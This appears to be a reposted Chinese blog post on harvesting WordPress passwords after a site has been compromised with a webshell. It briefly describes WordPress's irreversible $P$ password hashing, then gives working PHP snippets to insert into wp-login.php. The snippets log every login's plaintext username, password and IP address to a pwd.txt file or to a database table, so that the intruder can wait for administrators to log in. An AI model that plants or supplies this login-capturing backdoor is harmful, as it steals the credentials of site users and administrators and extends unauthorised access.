出處:http://blog.youkuaiyun.com/yiyefangzhou24/article/details/8727946
wordpress这种CMS国外用的非常多,安全性还是不错的,跟新快,看到这种东西,除了管理员架好之后就托管的垃圾站,持续更新的wordpress还是很让人头疼的。
如果通过某种方法拿下了webshell,***之后会发现wp_user这个wordpress这个用户表,里面的密码加密方法还是让人绝望的,我大概找了找这方面的资料发现他的加密方法如下(此处引用):
WordPress系统的用户密码是保存在wp_users数据表的user_pass字段,密码是通过Portable PHP password hashing framework类产生的,密码的形式是随机且不可逆,同一个明文的密码在不同时间,产生的密文也不一样,相对来说较为安全。
WordPress用户密码产生的过程是,当需要生成用户密码的时候,随机产生了一个salt,然后将salt和password相加,又进行了count次md5,最后和encode64的hash数值累加,就得到了一个以$P$开头的密码,这个密码每次产生的结果都不一样。
对于这种密码破解基本无望,在旧版本的wordpress中会有这样一个方法可能取得明文密码,***到本地,本地搭建wordpress,还原wordpress。然后修改管理员邮箱,点击忘记密码,理论上wordpress会将明文密码发到管理员的邮箱,所以取得明文密码。但可能本菜鸟才疏学浅,不能知道是哪个版本有这样一个漏洞。或者究竟有没有不可考。并且这种加密算法不可逆,wordpress如何从密文本身还原出明文发送到administrator的邮箱的?想不通。难道存放了明文密码?呵呵。。。
所以就有了另一种思路,直接截获明文密码,我们有webshell的时候,只要权限够大(一般修改权限还是有的)。我们可以修改wordpress本身的脚本,本文修改wordpress中的wp-login.php实现只要有人从后台登录就能记录下鞥如的密码,也包括管理员的。
用webshell搜索wp-login.php中的这样一个关键字 !is_wp_error($user)的上一行之后增加脚本:
[php] view plaincopy
$log_user=$_POST['log'];
$log_pwd=$_POST['pwd'];
$log_ip=$_SERVER["REMOTE_ADDR"];
$txt=$log_user.'|'.$log_pwd.'|'.$log_ip;
$txt=$txt."\r\n";
if($log_user&&$log_pwd&&$log_ip){
@fwrite(fopen('pwd.txt',"a+"),$txt);
}
密码写入同目录的pwd.txt,但是很多时候php没有写入权限,没关系,我们可以直接写入数据库,前提是你要获得数据库的连接密码,这个不用我说,大家都知道,然后建立一张表将截获的数据写进去。脚本如下
[php] view plaincopy
$success=!is_wp_error($user) && !$reauth;
$log_user=$_POST['log'];
$log_pwd=$_POST['pwd'];
$log_ip=$_SERVER["REMOTE_ADDR"];
$connect = mysql_connect("localhost", "用户名", "密码");
mysql_select_db("数据库",$connect);
mysql_query("set names utf8");
$sql="insert into 表 values('$success','$log_user','$log_pwd','$log_ip')";
$res=mysql_query($sql,$connect);
下面的事情就是漫长的等待,等待登入者上钩。
此方法有一定的风险,脚本需本地测试好,否则可能造成wordpress奔溃。
转载于:https://blog.51cto.com/3838120958/1609561
本文探讨了WordPress密码的加密机制,指出其安全性高,不可逆。在无法直接破解的情况下,提到了一种通过修改wp-login.php文件记录登录密码的技巧,详细说明了如何在用户登录时将明文密码和IP地址记录到文件或数据库中,以此来获取密码。这种方法存在风险,可能导致WordPress系统崩溃。
2668

被折叠的 条评论
为什么被折叠?



